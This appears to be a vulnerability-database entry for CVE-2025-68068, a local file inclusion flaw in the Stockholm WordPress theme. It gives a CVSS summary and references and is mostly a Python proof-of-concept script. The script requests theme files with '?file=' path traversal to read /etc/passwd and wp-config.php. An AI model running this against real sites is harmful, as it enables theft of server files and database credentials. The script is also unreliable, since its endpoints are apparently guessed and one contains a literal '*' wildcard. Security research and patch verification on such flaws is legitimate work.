CVE-2025-68068

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Stockholm stockholm allows PHP Local File Inclusion.This issue affects Stockholm: from n/a through <= 9.14.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Select-Themes Stockholm <= 9.14.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-68068 PoC - Stockholm Theme LFI
# Target: Select-Themes Stockholm WordPress Theme <= 9.14.1

def check_vulnerability(target_url):
    """Check if target is vulnerable to CVE-2025-68068"""
    
    # Common vulnerable endpoints in Stockholm theme
    paths = [
        '/wp-content/themes/stockholm/framework/modules/*/templates/file.php',
        '/wp-content/themes/stockholm/framework/include.php',
        '/wp-content/themes/stockholm/parts/get-template.php'
    ]
    
    # Sensitive files to read
    sensitive_files = [
        '../../../../../../etc/passwd',
        '../../../../wp-config.php',
        '../../../../../../var/www/html/wp-config.php'
    ]
    
    print(f'[*] Testing target: {target_url}')
    print(f'[*] CVE-2025-68068 - Stockholm Theme LFI')
    
    for path in paths:
        for file in sensitive_files:
            try:
                # Construct exploit URL
                exploit_url = target_url + path + '?file=' + file
                
                response = requests.get(exploit_url, timeout=10)
                
                # Check if file content is leaked
                if 'root:' in response.text or 'DB_NAME' in response.text:
                    print(f'[+] VULNERABLE! Found: {file}')
                    print(f'[+] URL: {exploit_url}')
                    print(f'[+] Response preview: {response.text[:200]}...')
                    return True
            except requests.RequestException as e:
                print(f'[-] Error testing {path}: {e}')
    
    print('[-] Target does not appear to be vulnerable')
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2025-68068.py <target_url>')
        print('Example: python cve-2025-68068.py http://example.com')
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68068
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68068
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68068/
[4] VulDB https://vuldb.com/cve/CVE-2025-68068
[5] https://patchstack.com/database/Wordpress/Theme/stockholm/vulnerability/wordpress-stockholm-theme-9-14-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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